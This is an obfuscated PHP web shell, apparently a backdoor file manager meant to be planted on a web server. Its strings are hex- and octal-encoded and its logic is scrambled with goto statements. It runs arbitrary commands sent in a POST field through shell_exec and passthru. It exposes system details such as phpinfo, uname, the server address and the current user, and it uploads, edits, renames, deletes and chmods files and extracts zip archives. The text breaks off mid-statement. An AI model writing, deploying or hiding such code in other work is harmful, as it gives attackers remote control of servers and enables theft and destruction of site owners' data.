"\74\57\163\x70\x61\156\x3e\12\x20\40\x3c\57\x68\x34\76\xa\x20\x20\x3c\164\145\x78\x74\141\162\x65\x61\40\x6e\x61\x6d\x65\x3d\x22\143\164\x6e\42\40\151\144\75\42\143\164\x6e\42\x20\x63\157\x6c\163\x3d\x22\63\x30\42\40\162\x6f\167\163\x3d\x22\61\x35\x22\40\143\154\x61\163\163\75\x22\x74\x65\170\164\x61\x72\x65\x61\40\x69\163\x2d\146\141\155\x69\154\x79\x2d\155\157\x6e\157\x73\160\141\143\145\x22\x20\162\x65\141\x64\x6f\156\154\171\x3e"; goto zG1WA; hVz2W: xYS3g: goto d82TW; ia13p: function IyZXr($dU_aF) { goto mQaK_; rX3Ri: $zErae .= $keVpk & 0x8 ? $keVpk & 0x400 ? "\x73" : "\170" : ($keVpk & 0x400 ? "\x53" : "\55"); goto BiL8B; x2MQn: oGajv: goto FW8nJ; jQDIN: hWjg1: goto ug290; Xd3Ot: if (($keVpk & 0x1000) == 0x1000) { goto cSCnt; } goto Swit4; Ku9jS: goto oGajv; goto jQDIN; QPLw9: P1QLh: goto tIMzq; mQaK_: $keVpk = fileperms($dU_aF); goto BRw__; pk1pa: $zErae = "\163"; goto HFq8o; PGG4j: Biz53: goto ZKLiK; NBFVR: sjT26: goto BQlCm; H3hVd: $zErae .= $keVpk & 0x20 ? "\162" : "\55"; goto OcsnT; NKQXq: goto oGajv; goto PGG4j; VTSjS: goto oGajv; goto g5Mac; N81UG: if (($keVpk & 0x8000) == 0x8000) { goto Biz53; } goto jrSln; jXKBs: if (($keVpk & 0x2000) == 0x2000) { goto sjT26; } goto Xd3Ot; Jb7e_: $zErae = "\x62"; goto Ku9jS; jrSln: if (($keVpk & 0x6000) == 0x6000) { goto G0wWt; } goto MrVyJ; yy9PJ: $zErae .= $keVpk & 0x1 ? $keVpk & 0x200 ? "\x74" : "\x78" : ($keVpk & 0x200 ? "\x54" : "\55"); goto AYBhA; ZKLiK: $zErae = "\55"; goto tfgeN; HFq8o: goto oGajv; goto QPLw9; mkisg: $zErae .= $keVpk & 0x40 ? $keVpk & 0x800 ? "\163" : "\170" : ($keVpk & 0x800 ? "\x53" : "\55"); goto H3hVd; M8E43: G0wWt: goto Jb7e_; VCefQ: $zErae .= $keVpk & 0x2 ? "\167" : "\55"; goto yy9PJ; ug290: $zErae = "\x64"; goto LwWhn; MrVyJ: if (($keVpk & 0x4000) == 0x4000) { goto hWjg1; } goto jXKBs; ds60H: $zErae = "\160"; goto x2MQn; AYBhA: return $zErae; goto AYw2K; tfgeN: goto oGajv; goto M8E43; FW8nJ: $zErae .= $keVpk & 0x100 ? "\162" : "\x2d"; goto kHZep; t0RIp: kko_d: goto pk1pa; QQtXq: goto oGajv; goto t0RIp; Swit4: $zErae = "\165"; goto QQtXq; g5Mac: cSCnt: goto ds60H; LwWhn: goto oGajv; goto NBFVR; tIMzq: $zErae = "\x6c"; goto NKQXq; OcsnT: $zErae .= $keVpk & 0x10 ? "\167" : "\55"; goto rX3Ri; kHZep: $zErae .= $keVpk & 0x80 ? "\167" : "\55"; goto mkisg; BiL8B: $zErae .= $keVpk & 0x4 ? "\x72" : "\x2d"; goto VCefQ; BQlCm: $zErae = "\143"; goto VTSjS; BRw__: if (($keVpk & 0xc000) == 0xc000) { goto kko_d; } goto pedxa; pedxa: if (($keVpk & 0xa000) == 0xa000) { goto P1QLh; } goto N81UG; AYw2K: } goto FkiWe; uDHys: $mWJjd = array("\67\60\x36\x38\x37\x30\x35\x66\x37\x35\66\145\x36\61\66\x64\66\x35", "\67\x30\66\70\x37\60\x37\x36\66\x35\x37\x32\67\x33\x36\71\x36\146\66\145", "\66\67\x36\x35\67\64\66\x33\67\x37\66\64", "\x36\x33\66\70\x36\x34\x36\x39\67\x32", "\x37\x30\67\62\66\65\x36\67\65\146\67\63\x37\60\66\x63\66\71\x37\x34", "\x36\x31\67\62\67\62\x36\x31\67\x39\65\x66\x36\64\x36\71\x36\x36\x36\x36", "\x36\71\x37\x33\65\x66\x36\x34\x36\x39\x37\62", "\x36\x39\x37\63\65\146\66\x36\x36\71\66\x63\66\65", "\x36\71\x37\x33\x35\146\x37\67\67\x32\x36\71\67\64\x36\x31\66\x32\66\x63\66\65", "\66\71\x37\63\x35\x66\x37\62\66\65\x36\61\66\x34\66\61\66\x32\66\x63\x36\65", "\66\x36\x36\71\x36\143\66\x35\x37\x33\66\x39\x37\141\66\x35", "\x36\63\66\146\67\60\67\71", "\66\66\x36\x39\x36\143\66\x35\65\146\66\65\67\70\x36\71\x37\63\67\64\67\x33", "\x36\66\66\x39\66\x63\x36\65\65\x66\x37\x30\67\x35\67\64\65\x66\66\63\x36\x66\66\145\67\x34\x36\65\x36\x65\x37\64\67\x33", "\x36\x36\66\x39\x36\143\x36\x35\65\x66\x36\x37\x36\65\x37\x34\65\146\x36\63\x36\146\x36\x65\67\64\66\65\66\145\x37\64\x37\63", "\x36\144\x36\x62\66\x34\x36\71\x37\62", "\67\62\x36\65\x36\x65\x36\61\66\x64\x36\x35", "\x37\63\x37\64\67\x32\x37\64\66\146\67\x34\66\x39\66\x64\66\x35", "\x36\70\x37\64\x36\x64\x36\x63\x37\63\67\60\x36\65\66\63\66\71\66\61\x36\143\x36\63\x36\70\x36\61\67\62\67\63", "\66\x34\66\61\x37\64\x36\65", "\x36\x36\66\71\66\x63\x36\x35\66\x64\x37\x34\x36\71\x36\144\66\65"); goto Ii6qh; yTsJL: $mWJjd[3](ugWhk($_GET["\160"])); goto H4KG0; o0Ubs: mkdir($mKxy1); goto EKNsB; dC1QV: if (!isset($_GET["\143\150\155\x6f\x64\146"])) { goto jRMyk; } goto l750i; cPk5D: echo get_current_user(); goto Xw8fQ; ucLKu: echo "\42\x3e"; goto yAZoh; UvaCs: echo shell_exec($_POST["\145\x78\145\x63\155\144"]); goto KjXt9; SgmfV: $FZEHa = false; goto pVwzF; wltfg: phpinfo(); goto qZ3ot; Gffop: goto XD1zL; goto aXR3g; l750i: echo "\40\40\x3c\x64\151\x76\40\143\154\141\163\x73\x3d\42\143\157\x6e\164\x61\151\156\145\162\x20\x69\163\x2d\155\x61\x78\55\x74\x61\x62\x6c\145\164\42\x3e\xa\11\x3c\146\x6f\x72\155\x20\x61\x63\164\151\x6f\156\x3d\x22\x22\x20\143\x6c\x61\163\x73\x3d\42\142\x6f\x78\x22\x20\x6d\145\x74\x68\157\x64\x3d\42\x50\117\x53\124\42\40\x63\x6c\141\163\163\x3d\42\155\171\55\x32\x22\x20\163\164\x79\154\x65\x3d\42\x62\x6f\x72\144\x65\x72\72\x31\x70\170\40\x73\157\x6c\151\144\x20\x68\x73\154\x28\x31\67\x31\x2c\x20\x31\x30\x30\x25\x2c\x20\64\x31\x25\51\x3b\x22\x3e\12\x9\x9\74\154\x61\142\x65\x6c\40\143\x6c\141\163\163\x3d\x27\154\141\x62\x65\x6c\x27\x3e\x3c\163\160\141\x6e\x20\143\154\x61\163\x73\x3d\x22\x68\141\x73\55\164\x65\170\164\55\x70\x72\151\x6d\141\162\171\42\76\x43\150\141\x6e\x67\x65\x20\x50\145\162\155\x69\x73\x73\151\157\x6e\40\x46\x6f\x72\x20\106\151\154\x65\x3a\74\57\x73\160\x61\x6e\x3e\40"; goto NQaSR; kRxWW: echo substr(sprintf("\x25\x6f", fileperms(UGwHK($_GET["\x70"]) . "\x2f" . uGWHK($_GET["\156"]))), -4); goto FzZRE; XxcOa: $QI9IR = shell_exec("\165\156\x7a\151\160\x20{$fKgA3}\x20\x2d\144\x20{$mKxy1}\40\62\x3e\x26\x31"); goto KNEon; aygGR: cNHru: goto u2Psj; ynQAL: goto xNsqm; goto zkSv_; Ygctf: echo "\x20\x20\x3c\146\x6f\x72\155\40\x6d\x65\164\150\157\x64\x3d\x22\160\x6f\163\x74\42\x20\x63\154\x61\x73\x73\x3d\x22\142\157\170\42\163\164\x79\x6c\x65\75\x22\142\x6f\x72\x64\145\162\72\62\x70\x78\x20\x73\157\154\x69\144\40\x68\x73\154\x28\61\x37\61\x2c\x20\61\60\x30\x25\x2c\40\61\x36\x25\51\42\76\xa\x20\x20\40\40\74\150\64\x20\x63\154\x61\x73\x73\x3d\x22\151\x73\x2d\163\x69\172\x65\55\65\x20\x68\x61\x73\x2d\x74\x65\x78\164\x2d\167\x65\x69\x67\x68\x74\55\x62\157\x6c\x64\40\x68\x61\x73\x2d\164\x65\170\x74\x2d\160\x72\x69\x6d\x61\162\x79\40\155\x62\x2d\x34\x22\x3e\x52\145\x6e\x61\x6d\x65\40"; goto eIumX; aVplc: if (!($_GET["\x74"] == "\144")) { goto v0eS9; } goto xZKMy; ni_Wu: echo "\x5a\x69\160\40\146\x69\x6c\145\x20\143\x72\x65\x61\164\x65\144\x20\163\165\x63\x63\x65\163\x73\146\x75\x6c\x6c\171\40\165\x73\151\156\x67\x20\x63\157\x6d\x6d\x61\x6e\x64\x20\x6c\x69\x6e\145\56\12"; goto xghJY; zYm0b: $qJtBd->extractTo(getcwd()); goto He1Ij; Q1b9f: if ($uKjJE == "\156\x65\167\106\x69\x6c\x65") { goto UMC9K; } goto ez7b5; cxhRw: goto xNsqm; goto JAjFD; D2wrg: echo "\xa\74\x64\151\x76\40\x63\x6c\x61\163\163\75\42\151\163\x2d\x66\x6c\x65\170\40\x69\x73\55\141\x6c\151\x67\x6e\x2d\x69\x74\x65\x6d\x73\55\145\156\x64\40\x70\x78\55\62\x22\x3e\12\x20\40\x3c\144\x69\x76\x20\x63\154\x61\x73\x73\x3d\x22\142\147\x2d\x64\141\162\x6b\40\142\x6f\x72\x64\145\162\x20\x74\x61\x62\x6c\145\x2d\x72\x65\x73\160\x6f\x6e\163\x69\x76\x65\40\155\164\x2d\62\40\x6d\162\x2d\62\x22\x3e\xa\40\x20\40\40\x3c\144\x69\x76\40\143\x6c\x61\163\163\75\42\x69\x73\x2d\146\141\x6d\x69\154\171\x2d\x6d\x6f\156\157\163\160\141\143\145\40\x62\165\x74\x74\x6f\x6e\40\151\x73\x2d\154\151\147\x68\x74\40\x69\x73\55\x72\x6f\165\x6e\144\145\x64\40\x69\163\x2d\x6f\165\164\154\x69\156\x65\x64\x22\x3e\xa\x20\x20\x20\x20\x20\40\x3c\163\x70\141\x6e\x3e\104\157\143\165\155\x65\156\164\40\122\x6f\157\164\72\x20"; goto FMjRe; k5wXS: echo passthru($_POST["\145\170\145\x63\x6d\x64"]); goto rwbFS; dJUVQ: f2Y3T("\106\141\x69\x6c\145\144\x20\x74\157\x20\145\x78\x74\162\x61\143\164\40\132\x49\120\x20\106\x69\154\x65\41", 0); goto viuV1; uB_8o: if (!isset($_POST["\x6d\x61\x6b\145\144\151\x72"])) { goto ezLha; } goto EJLF0; QOq4Y: goto e3VtV; goto DNDGC; Np5bS: echo substr(@phpversion(), 0, 20); goto RRg2S; EKNsB: Y5xBO: goto XxcOa; q7MtI: function Nut1O() { goto dQq0o; dQq0o: if (function_exists("\101\x4a\x5f\172\x33")) { goto po96r; } goto yPo88; XrNvF: po96r: goto A83Z1; A83Z1: return "\117\116"; goto UgQb4; yPo88: return "\117\x46\x46"; goto r6yia; UgQb4: Je2gA: goto c4NS2; r6yia: goto Je2gA; goto XrNvF; c4NS2: } goto yLU0O; FhGzc: function fGYw1($FK4d6, $jOTZk) { goto mT7h7; TYCSS: aP02V: goto Kp1c7; Rp3J0: $zErae = strlen($jOTZk) - 1; goto TYCSS; aSOtD: if (!(is_dir($FK4d6) || is_file($FK4d6))) { goto KFsRI; } goto e7dUt; VxNBY: --$zErae; goto ZvLKF; Ii1Xf: m50Oe: goto EQXoo; ZvLKF: goto aP02V; goto UXt25; e7dUt: if (!chmod($FK4d6, $LCW_S)) { goto m50Oe; } goto vu_Dt; mT7h7: $LCW_S = 0; goto Rp3J0; qWuht: VkyFb: goto VxNBY; Kp1c7: if (!($zErae >= 0)) { goto nlWHW; } goto KsKjI; KsKjI: $LCW_S += (int) $jOTZk[$zErae] * pow(8, strlen($jOTZk) - $zErae - 1); goto qWuht; EQXoo: KFsRI: goto RxyMT; vu_Dt: f2y3t("\x50\145\x72\155\x69\x73\x73\151\157\x6e\40\146\x6f\162\x20" . $FK4d6 . "\x5c\x6e\x43\x68\x61\156\x67\x65\x64\40\164\157\x20\55\x3e\40" . $jOTZk); goto Ii1Xf; UXt25: nlWHW: goto aSOtD; RxyMT: } goto Cq9ID; OhcY4: NbHdV: goto Dj8ry; sR1SU: l7TE1: goto aIh43; u2Psj: A6KR2: goto dC1QV; K8G1p: echo uGwhK($_GET["\156"]); goto jUVbS; qBcvL: echo "\x3c\57\x6e\157\142\x72\x3e\xa\x20\40\40\x20\40\x20\x20\40\74\142\x20\x63\x6c\x61\163\x73\75\x22\164\x61\x67\40\x69\x73\x2d\154\151\x67\x68\164\40\150\x61\x73\55\164\145\x78\x74\x2d\x64\x61\162\153\40\155\162\55\x32\x22\x3e\x4d\x79\123\x51\114\x3c\x2f\x62\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\74\156\157\142\x72\76"; goto Vk0NB; jsW6g: die("\143\150\145\143\x6b\55\162\x65\163\x75\154\x74\55\x30"); goto d7XNG; fQcpx: X1heF: goto krM1G; HiUWT: $huZFR = $_POST["\172\151\160\x66\x69\x6c\x65"]; goto aMauj; fsnFz: Zdbyj: goto LWcmT; FkiWe: function F2y3T($oJwbz, $wWmdu = 1, $FK4d6 = '') { goto yyUAs; yyUAs: global $keVpk; goto Ggz2v; b7Iui: echo "\x3c\163\143\x72\151\x70\164\x3e\163\x77\141\154\50\173\164\151\x74\154\145\72\40\x22{$VpA9t}\42\x2c\x20\x74\x65\170\x74\72\40\x22{$oJwbz}\42\54\x20\151\143\157\156\x3a\40\42{$VpA9t}\42\x7d\51\56\164\150\145\156\x28\x28\142\164\x6e\x43\x6c\x69\x63\153\51\x20\x3d\x3e\x20\173\x63\157\x6e\x73\164\40\x6c\157\x63\75\47" . SIrA4($keVpk) . $FK4d6 . "\47\73\x69\146\x28\142\x74\156\x43\154\151\x63\x6b\46\46\154\x6f\143\51\173\x64\157\x63\165\155\145\156\x74\x2e\154\x6f\143\141\x74\151\157\156\x2e\x68\162\145\146\75\x27\77\x70\x3d\47\x2b\154\157\143\x7d\175\51\x3c\x2f\163\143\162\x69\x70\x74\76"; goto IpEq7; Ggz2v: $VpA9t = $wWmdu == 1 ? "\163\165\143\143\x65\x73\x73" : "\145\x72\162\157\x72"; goto b7Iui; IpEq7: } goto aEVGs; jMwg9: if (!($zErae < 30)) { goto YkZ08; } goto ZxJHB; OrZ4o: C0Md8: goto i4dlG; gFmxG: echo "\106\x61\x69\x6c\x65\x64\40\164\x6f\x20\165\x6e\x7a\151\x70\40\146\x69\x6c\x65\40\x75\163\x69\156\147\40\x63\x6f\x6d\x6d\141\x6e\x64\x20\154\151\156\x65\72\40{$QI9IR}\xa"; goto jGCGI; koPNe: A1Aby: goto cx2iT; nEtKu: xNsqm: goto J2Z1Z; waKUT: goto kWGcU; goto fsnFz; YBovb: zbRWn: goto Gi67v; aIh43: echo "\74\x2f\164\142\x6f\144\171\76\x3c\x2f\164\x61\142\154\145\x3e\12"; goto EkYla; VJrQl: E3PXK: goto PnUlf; ywBVP: F2Y3T("\106\x6f\x6c\144\145\x72\x20" . basename($_POST["\155\141\x6b\145\144\x69\162"]) . "\x20\x63\x72\145\x61\x74\145\x64\41"); goto S_wCk; POOFd: echo $_SERVER["\x53\x45\x52\126\105\122\137\101\104\x44\122"]; goto stDsX; hJOeL: echo substr(@php_uname(), 0, 120); goto ID3JS; pur8d: iyd7_: goto YBovb; YvqIy: echo "\124\x68\x65\40\47\x75\156\172\x69\160\x27\x20\x63\x6f\155\x6d\141\156\x64\x20\151\163\40\x61\166\141\151\154\141\142\154\x65\72\x20" . trim($K1rI2) . "\xa"; goto QOq4Y; ZbLg4: echo "\x3c\x74\x61\x62\154\145\x20\163\x74\x79\154\x65\x3d\x22\x77\x69\144\164\x68\72\61\60\x30\x25\42\x20\x63\x6c\141\x73\x73\75\42\164\x61\142\x6c\145\x20\155\x62\x2d\x32\40\151\x73\55\x66\x61\x6d\x69\x6c\171\55\155\x6f\156\x6f\163\x70\x61\x63\145\42\76\xa\x20\x20\74\164\x68\x65\x61\144\40\x63\x6c\141\x73\163\x3d\x22\x74\x65\x78\164\x2d\154\x69\147\150\164\42\76\xa\x20\40\40\x20\74\x74\x72\76\74\164\150\x3e\116\x61\155\x65\74\x2f\x74\x68\x3e\x3c\164\150\76\x53\151\172\145\x3c\57\164\x68\76\74\x74\150\76\120\x65\x72\155\x69\163\x73\151\157\156\74\57\x74\150\x3e\12\40\x20\x20\40\x20\40\x20\40\x20\40\74\164\150\x3e\x4c\141\163\164\40\115\157\144\151\146\151\x65\x64\74\57\x74\x68\76\xa\x20\x20\40\40\74\164\x68\76\101\143\164\x69\x6f\156\x3c\57\164\150\76\74\x2f\x74\162\76\12\x20\40\x3c\57\164\150\x65\141\144\x3e\xa\40\x20\74\164\142\157\144\x79\40\143\x6c\141\163\x73\x3d\x22\x74\145\170\x74\55\154\151\147\150\x74\x22\76\12"; goto dWgq8; cSOLn: if (!isset($_POST["\x65\x78\145\143\155\144"])) { goto oOGUu; } goto m14ts; g2rop: goto zBzhl; goto udm3W; eIumX: echo $_GET["\x74"] == "\144" ? "\146\x6f\154\x64\145\162" : "\x66\x69\x6c\x65"; goto cItqs; xuNK1: goto Rhx7x; goto FmM8h; GSvI4: function UGWhk($jN21H) { goto L_k5J; j7Ays: $R33Pj = strlen($jN21H) - 1; goto ey6fU; JP5XN: if (!($zErae < $R33Pj)) { goto hAfVm; } goto eMPv2; g_SxY: $zErae += 2; goto tsIzK; tsIzK: goto X4VeH; goto e_kB5; tjy3C: return $YcdOo; goto YvCsc; z8dnR: eUOtl: goto g_SxY; mLCCo: X4VeH: goto JP5XN; eMPv2: $YcdOo .= chr(hexdec($jN21H[$zErae] . $jN21H[$zErae + 1])); goto z8dnR; e_kB5: hAfVm: goto tjy3C; L_k5J: $YcdOo = ''; goto j7Ays; ey6fU: $zErae = 0; goto mLCCo; YvCsc: } goto Qnu8o; Yzggh: QrVTg: goto H351Z; FOIiG: YkZ08: goto sJ72V; k9e4Z: echo uGWhK($_GET["\x6e"]); goto Y43gU; lqGWm: HdZ03: goto Ygctf; vwrwf: die($oJwbz); goto usn9j; zgjy7: $huZFR = fopen(basename($_POST["\x6d\141\153\x65\146\x69\154\x65"]), "\x77") or die(F2y3T("\106\x61\151\x6c\145\144\x20\164\x6f\x20\143\x72\x65\x61\x74\145\40\146\x69\x6c\x65\41", 0)); goto sgdpK; oIhoP: echo "\x20\40\x20\40\74\57\144\x69\166\x3e\12\40\40\x3c\x2f\x64\151\x76\76\12\x20\40\74\x66\x6f\162\x6d\40\155\145\x74\150\157\144\75\42\x70\157\163\164\x22\40\x65\x6e\x63\x74\171\x70\145\x3d\42\x6d\165\x6c\x74\x69\x70\x61\162\164\x2f\x66\157\x72\155\x2d\144\141\x74\141\x22\40\x63\x6c\x61\163\163\x3d\42\146\151\x6c\145\x20\x69\163\x2d\163\x75\143\143\145\163\163\x20\151\163\x2d\x64\x61\x72\153\x20\155\x62\x2d\x30\40\155\x6c\55\x61\165\x74\157\x22\x3e\12\x20\40\40\x20\74\154\141\142\x65\154\x20\143\x6c\x61\163\x73\x3d\42\x66\x69\x6c\x65\x2d\x6c\x61\142\x65\154\42\76\xa\40\40\40\x20\40\x20\74\151\x6e\x70\x75\164\x20\143\x6c\x61\163\163\x3d\x22\x66\x69\x6c\145\x2d\151\156\160\165\x74\x22\40\x74\171\160\x65\75\42\146\x69\x6c\x65\42\x20\x6e\141\155\145\x3d\x22\146\x5b\x5d\x22\40\157\x6e\143\150\x61\x6e\147\145\x3d\x22\164\150\151\163\56\146\x6f\162\x6d\x2e\x73\x75\142\155\x69\x74\x28\x29\42\x20\155\x75\154\164\151\x70\x6c\x65\x20\x2f\x3e\xa\40\40\40\x20\x20\x20\74\x73\x70\x61\x6e\40\x63\x6c\x61\x73\x73\75\x22\146\151\154\145\x2d\143\x74\141\42\x3e\xa\x20\40\x20\40\40\x20\x20\x20\x3c\163\x70\x61\x6e\40\143\x6c\x61\163\163\75\42\146\151\154\x65\x2d\151\x63\157\156\42\x3e\12\x20\40\x20\x20\x20\x20\40\40\40\40\74\151\40\143\154\x61\163\163\x3d\x22\x62\151\40\x62\x69\55\x63\x6c\x6f\x75\144\55\165\x70\154\x6f\x61\144\x2d\x66\x69\154\x6c\x20\x69\163\x2d\163\151\172\x65\55\x35\x22\x20\76\x3c\57\151\x3e\12\x20\40\40\40\40\x20\x20\x20\x3c\x2f\163\160\141\x6e\x3e\xa\x20\x20\40\40\40\x20\40\40\x3c\163\x70\x61\156\40\143\154\x61\x73\x73\x3d\x22\x66\x69\154\145\55\x6c\x61\142\x65\x6c\42\76\x55\x70\x6c\157\141\x64\x20\106\151\154\145\163\342\200\xa6\74\x2f\x73\160\x61\156\76\xa\40\x20\x20\x20\40\x20\74\x2f\163\160\x61\x6e\x3e\12\40\x20\x20\40\74\x2f\x6c\x61\142\145\x6c\76\xa\x20\x20\74\57\146\x6f\162\x6d\x3e\xa\x3c\x2f\x64\x69\x76\76\xa\xa\xa\x3c\141\x72\x74\151\143\x6c\x65\x20\x63\x6c\141\163\x73\x3d\x22\155\164\x2d\x32\42\76\12"; goto GGNqi; yAZoh: echo m9jKO; goto o7FZW; lQQJ8: $Q0FGf = "\x30\61\x32\63\x34\x35\x36\67\x38\71\x61\x62\x63\x64\x65\x66\147\150\x69\x6a\153\154\x6d\156\x6f\x70\161\x72\163\164\165\166\x77\x78\171\x7a"; goto IZHGt; Gq4B7: f2Y3t("\146\157\154\x64\x65\162\40\144\145\154\145\164\x65\x64\x20\x73\165\143\143\145\x73\x73\146\x75\x6c\x6c\x79"); goto NVoZA; He1Ij: $qJtBd->close(); goto eLrPW; DMRFr: goto sl6BV; goto V8laz; Bsshy: echo UGwHK($_GET["\x64"]); goto lhxFV; tzxxE: fclose($huZFR); goto dQvpc; KjXt9: dNIIH: goto NbQpR; lhxFV: echo "\x3c\x2f\154\141\x62\145\x6c\x3e\12\40\x20\x20\40\x20\x20\x3c\151\156\x70\x75\164\40\x74\171\x70\145\75\x22\x68\151\x64\x64\x65\156\x22\x20\156\141\155\145\x3d\x22\143\147\x66\x22\x20\x76\141\154\165\x65\x3d\42"; goto rwbJh; IJK5e: if (!is_dir(UgwHk($_GET["\x70"]) . "\x2f" . uGWhk($_GET["\144"]))) { goto lA959; } goto HD3Iq; Und2g: $I8vAC = ''; goto eEOh3; HJu9V: ezLha: goto r2NiQ; zl_wE: unlink($E5Z_f); goto qgmWb; NzkH4: isset($_POST["\x73"]) ? $mWJjd[16]($keVpk . "\x2f" . UgWHk($_GET["\x6e"]), $_POST["\156"]) ? f2Y3t("\163\165\x63\x63\x65\163\x73\146\165\x6c\x6c\171\40\143\150\x61\x6e\x67\x65\x64\x20\x74\x68\x65\40\146\157\154\144\145\162\40\156\141\155\x65") : f2y3t("\146\141\x69\154\x65\144\40\x74\x6f\x20\143\x68\x61\156\147\x65\x20\164\150\145\x20\x66\x6f\x6c\144\x65\x72\x20\156\141\x6d\145", 0) : null; goto CRCRe; ab_vv: foreach ($C1o8f as $dU_aF) { goto dalmg; Wh9AQ: $FZL46 = $FZL46 > 1024 ? round($FZL46 / 1024, 2) . "\74\x62\76\115\x42\x3c\x2f\142\76" : $FZL46 . "\x3c\142\76\x4b\x42\74\x2f\x62\76"; goto ejXXS; ejXXS: echo "\74\164\162\76\74\x74\x64\x20\143\x6c\141\x73\x73\x3d\47\x69\x73\x2d\146\x6c\145\x78\x27\x20\x73\164\x79\154\145\75\x27\147\141\160\x3a\x34\160\170\x27\x3e\74\141\40\x68\162\x65\x66\75\x22\x3f\160\75" . siRA4($keVpk) . "\46\x61\x3d" . Sira4("\x76\x69\145\167") . "\46\x6e\x3d" . SIra4($dU_aF) . "\x22\76\x3c\151\40\x63\x6c\141\163\x73\75\42\142\151\40\142\151\x2d\x66\x69\154\x65\55\145\141\162\x6d\x61\162\x6b\55\x66\151\x6c\154\42\40\x64\x61\x74\141\55\156\x61\x6d\x65\x3d\x27{$dU_aF}\47\x3e\74\x2f\151\x3e\x20{$dU_aF}\74\x2f\141\76\x3c\x2f\164\144\76\x3c\x74\144\x3e{$FZL46}\74\x2f\164\x64\76\x3c\x74\x64\x3e\x3c\x61\40\x68\x72\145\146\x3d\x27\x3f\160\75" . siRA4($keVpk) . "\x26\x6e\75" . SIra4($dU_aF) . "\x26\x63\x68\155\x6f\x64\146\75\61\x27\x3e\74\146\x6f\156\x74\x20\143\157\154\x6f\162\x3d\x22" . ($mWJjd[8]("{$keVpk}\x2f{$dU_aF}") ? "\43\x30\60\146\x66\x30\x30" : (!$mWJjd[9]("{$keVpk}\x2f{$dU_aF}") ? "\x72\x65\144" : null)) . "\x22\x3e" . iYzXR("{$keVpk}\x2f{$dU_aF}") . "\74\57\146\x6f\x6e\x74\76\74\x2f\141\x3e\x3c\57\x74\x64\76\74\164\144\76" . $mWJjd[19]("\131\55\155\x2d\144\x20\110\x3a\x69", $mWJjd[20]("{$keVpk}\x2f{$dU_aF}")) . "\74\x2f\x74\144\76\x3c\x74\x64\76\74\x64\151\x76\x20\143\x6c\x61\x73\x73\75\x22\151\163\55\x66\x6c\x65\x78\40\152\165\x73\164\151\x66\x79\x2d\143\x6f\x6e\x74\x65\x6e\x74\55\x62\145\x74\x77\x65\145\x6e\42\40\163\x74\171\154\145\75\x27\x67\x61\160\72\x38\160\170\47\x3e\x3c\141\40\143\x6c\x61\x73\163\75\47\x62\165\164\164\x6f\x6e\x20\x69\163\55\x77\141\162\156\151\x6e\147\40\151\163\55\163\155\x61\154\154\x20\160\170\55\62\40\160\171\x2d\x30\47\x20\150\x72\x65\x66\x3d\42\x3f\160\75" . siRA4($keVpk) . "\x26\141\75" . siRA4("\145\x64\151\x74") . "\46\156\75" . sirA4($dU_aF) . "\42\76\x3c\151\40\143\154\x61\x73\x73\x3d\x22\x62\x69\x20\x62\x69\55\160\145\x6e\143\151\154\x2d\x66\x69\154\154\x20\x69\163\x2d\163\x69\x7a\x65\x2d\x36\40\155\x72\x2d\x31\x22\76\x3c\x2f\x69\76\x20\x45\x64\151\x74\x3c\x2f\x61\76\x3c\x61\40\143\154\x61\163\x73\75\x27\142\x75\164\164\x6f\156\40\x69\x73\x2d\151\x6e\146\x6f\x20\x69\x73\55\163\x6d\x61\154\154\40\160\x78\55\x32\40\x70\171\x2d\60\47\40\150\x72\x65\x66\75\42\77\160\x3d" . sirA4($keVpk) . "\46\x61\x3d" . Sira4("\x72\145\156\141\x6d\x65") . "\x26\x6e\75" . SIrA4($dU_aF) . "\x26\164\75\x66\42\76\74\151\40\x63\154\x61\163\163\75\42\151\x20\142\x69\55\x69\x6e\160\x75\x74\55\x63\x75\162\x73\157\162\x2d\164\x65\170\x74\40\x69\x73\x2d\163\151\x7a\x65\x2d\66\x20\x6d\162\x2d\x31\42\76\74\x2f\x69\76\40\x52\x65\x6e\141\155\145\x3c\x2f\141\x3e\74\141\x20\143\154\141\163\x73\x3d\47\x62\x75\164\x74\x6f\x6e\40\x69\163\55\x6c\151\x6e\153\x20\151\163\x2d\x73\x6d\141\x6c\154\40\160\x78\x2d\62\x20\160\171\55\60\47\40\x68\162\x65\146\x3d\42\77\160\75" . sira4($keVpk) . "\46\156\x3d" . Sira4($dU_aF) . "\x26\x64\x6f\167\156\x6c\x6f\141\144" . "\42\x3e\x3c\151\x20\x63\x6c\x61\163\x73\75\x22\142\x69\x20\142\151\55\x63\154\157\x75\144\55\141\x72\162\x6f\x77\55\144\x6f\167\x6e\x2d\x66\151\154\x6c\40\151\x73\55\x73\151\172\x65\55\x36\40\155\162\x2d\61\42\76\x3c\57\x69\x3e\40\104\x6f\167\x6e\154\157\141\144\74\x2f\x61\x3e\74\141\x20\143\154\x61\x73\163\x3d\x27\x62\x75\x74\164\157\156\40\151\x73\55\144\141\x6e\x67\145\162\x20\151\163\x2d\x73\x6d\141\154\154\x20\160\x78\55\62\x20\160\x79\55\60\x27\40\150\162\145\146\x3d\x22\x3f\160\75" . sIra4($keVpk) . "\x26\x74\75\146\x26\141\x3d" . sirA4("\x64\x65\154\x65\164\x65") . "\x26\156\75" . sIRa4($dU_aF) . "\42\40\x64\x61\x74\141\55\x74\x79\160\145\x3d\42\x66\x69\x6c\145\x22\76\74\151\40\143\x6c\x61\163\163\75\42\x62\x69\x20\142\x69\x2d\x74\162\x61\x73\150\55\146\x69\154\154\x20\x69\163\55\163\x69\x7a\x65\55\66\x20\x6d\x72\x2d\61\42\x3e\74\57\151\76\x20\104\x65\x6c\x65\x74\x65\74\57\x61\76\74\57\x64\151\166\76\74\x2f\164\144\76\74\57\164\162\x3e"; goto pa5Hr; z65fV: goto u4dL2; goto aVM9E; dalmg: if ($mWJjd[7]("{$keVpk}\57{$dU_aF}")) { goto w54e1; } goto z65fV; dmBud: $FZL46 = $mWJjd[10]("{$keVpk}\x2f{$dU_aF}") / 1024; goto j3Z1s; pa5Hr: u4dL2: goto V1Cgh; j3Z1s: $FZL46 = round($FZL46, 1); goto Wh9AQ; aVM9E: w54e1: goto dmBud; V1Cgh: } goto sR1SU; oIwRl: echo 